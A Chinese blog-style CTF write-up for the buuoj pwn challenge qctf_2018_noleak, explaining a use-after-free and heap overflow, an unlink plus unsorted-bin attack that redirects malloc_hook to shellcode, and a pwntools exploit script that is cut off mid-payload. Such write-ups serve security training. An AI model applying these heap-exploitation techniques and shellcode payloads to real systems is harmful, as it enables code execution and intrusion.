buuoj Pwn writeup 261-265

利用内存漏洞进行安全攻击的技术分析

最新推荐文章于 2024-03-12 21:30:23 发布

原创

最新推荐文章于 2024-03-12 21:30:23 发布 · 578 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#网络安全

本文探讨了两种利用内存漏洞进行攻击的方法：一是通过unlink机制和unsorted_binattack控制malloc_hook；二是利用fastbin_attackmalloc_hookattcak组合。在不同的libc版本中，这些技术展示了如何通过堆溢出和野指针管理来执行任意代码。同时，文章还介绍了通过盲注技巧在系统调用被禁用的情况下爆破flag。最后，文章提到了一种利用syscall和shellcode绕过限制的方法。

261 qctf_2018_noleak

在这里插入图片描述就像题目说的一样，程序很简单，但确实是没有泄露地址的地方。

delete 里面没有清理野指针造成UAF
update 里面可以重新输入读入的长度造成堆溢出

那问题来了，怎么利用这两个漏洞点。
有两种利用方法，下面那一堆链接里面有。

第一种
我们先通过unlink机制，控制buf部分内容，结合题目具体点就是把buf-0x18的地址写到了buf中，然后利用unsorted_bin attack，把buf看成是一个chunk，将main_arena + 0x88的地址写到buf[6]的地方，再覆盖地址最后两个字节为0x10，从而变成malloc_hook的地址，从而控制malloc_hook，执行提前再bss上写好的shellcode。不停的可以再buf上写是每次写的时候再把buf地址写在buf数组中，就可以一直写。

第二种
就是常说的fastbin_attack malloc_hook attcak组合拳，下面那链接几个里面有详细介绍组合拳的，我就不罗嗦了。

值得注意的是，unsorted bin attack是在libc2.28之后才消失的，所以这个2.27还是可以unsorted bin attack的。

from pwn import *
context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"
r = remote("node4.buuoj.cn", 25467)
#r = process("./261")

elf = ELF('./261')
libc = ELF('./64/libc-2.27.so')

shellcode = asm(shellcraft.sh())

def create(size,content):  
   r.sendlineafter('Your choice :','1')  
   r.sendlineafter('Size: ',str(size))  
   r.sendafter('Data: ',content) 
 
def edit(index,size,content):  
   r.sendlineafter('Your choice :','3')  
   r.sendlineafter('Index: ',str(index))  
   r.sendlineafter('Size: ',str(size))  
   r.sendafter('Data: ',content)  

def delete(index):  
   r.sendlineafter('Your choice :','2')  
   r.sendlineafter('Index: ',str(index))  

bss_addr = 0x601020
buf_addr = 0x601040

create(0x90,'a'*0x90)
create(0x420,'b'*0x420)
create(0x90,'b'*0x90)

payload = p64(0) + p64(0x91)
payload += p64(buf_addr - 0x18) + p64(buf_addr - 0x10)
payload += (0x90 - 32) * 'a'
payload += p64(0x90) + p64(0X430)</